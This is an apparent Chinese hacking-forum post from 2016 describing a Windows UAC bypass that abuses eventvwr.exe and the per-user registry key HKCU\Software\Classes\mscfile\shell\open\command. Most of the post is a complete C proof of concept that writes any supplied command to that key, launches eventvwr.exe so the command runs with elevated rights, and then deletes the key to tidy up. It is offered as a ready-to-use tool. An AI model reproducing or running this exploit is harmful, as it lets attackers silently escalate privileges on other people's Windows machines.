搜索
查看: 837|回复: 0

UAC Bypass use eventvwr.exe

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2016-8-22 22:53:36 | 显示全部楼层 |阅读模式
又一个bypass UAC的法子,测试通过win7 UAC默认
简单说一下就是eventvwr.exe在启动的时候会去检查注册表的command,恰好current_user 也在其中,
只是这个项目没有创建,当前用户可以通过在 HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command添加命令在用eventvwr.exe去执行就OK了,eventvwr.exe默认是过了UAC的,所以你被执行的命令也是过UAC
作者给的是powershell的poc,我也搞了个exe的,直接上代码。

  1. #include <stdio.h>
  2. #include <Windows.h>

  3. void help()
  4. {
  5. printf("Use: xx.exe [cmd]");
  6. }

  7. int main(int argc , char * argv[])
  8. {


  9. if (argc != 2)
  10. {
  11. help();
  12. exit(0);
  13. }

  14. char *cmd = argv[1];
  15. if (strlen(cmd) > MAX_PATH)
  16. {
  17. printf("[-]: command too long!\n");
  18. exit(0);
  19. }

  20. // Reg key: HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
  21. // run pro: eventvwr
  22. char *regpath = "Software\\Classes\\mscfile\\shell\\open\\command";

  23. HKEY Kroot;
  24. DWORD dwdis;
  25. DWORD dwtype,dwsize;
  26. char regsize[2048];

  27. if ((RegCreateKeyEx(HKEY_CURRENT_USER,regpath,0,NULL,0,KEY_ALL_ACCESS,NULL,&Kroot,&dwdis)) != ERROR_SUCCESS)
  28. {
  29. printf("open reg error!\n");
  30. return -1;
  31. }
  32. if ( (RegQueryValueEx(Kroot,NULL,NULL,&dwtype,(LPBYTE)regsize,&dwsize)) == ERROR_SUCCESS)
  33. {
  34. RegDeleteKey(HKEY_CURRENT_USER,regpath);
  35. if ((RegCreateKeyEx(HKEY_CURRENT_USER,regpath,0,NULL,0,KEY_ALL_ACCESS,NULL,&Kroot,&dwdis)) != ERROR_SUCCESS)
  36. {
  37. printf("create reg error!\n");
  38. return -1;
  39. }
  40. }


  41. char syspath[MAX_PATH];
  42. char command[MAX_PATH];
  43. memset(command,0,MAX_PATH);
  44. memset(syspath,0,MAX_PATH);
  45. GetSystemDirectory(syspath,MAX_PATH);
  46. sprintf_s(command,MAX_PATH,"%s\\cmd.exe /c %s",syspath,cmd);

  47. // set command
  48. RegSetValueEx(Kroot,NULL,0,REG_SZ,(BYTE *)command,sizeof(command));

  49. // run it
  50. system("eventvwr.exe");

  51. //del
  52. RegDeleteKey(HKEY_CURRENT_USER,regpath);


  53. RegCloseKey(Kroot);
  54. }
复制代码


您可以更新记录, 让好友们知道您在做什么...
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表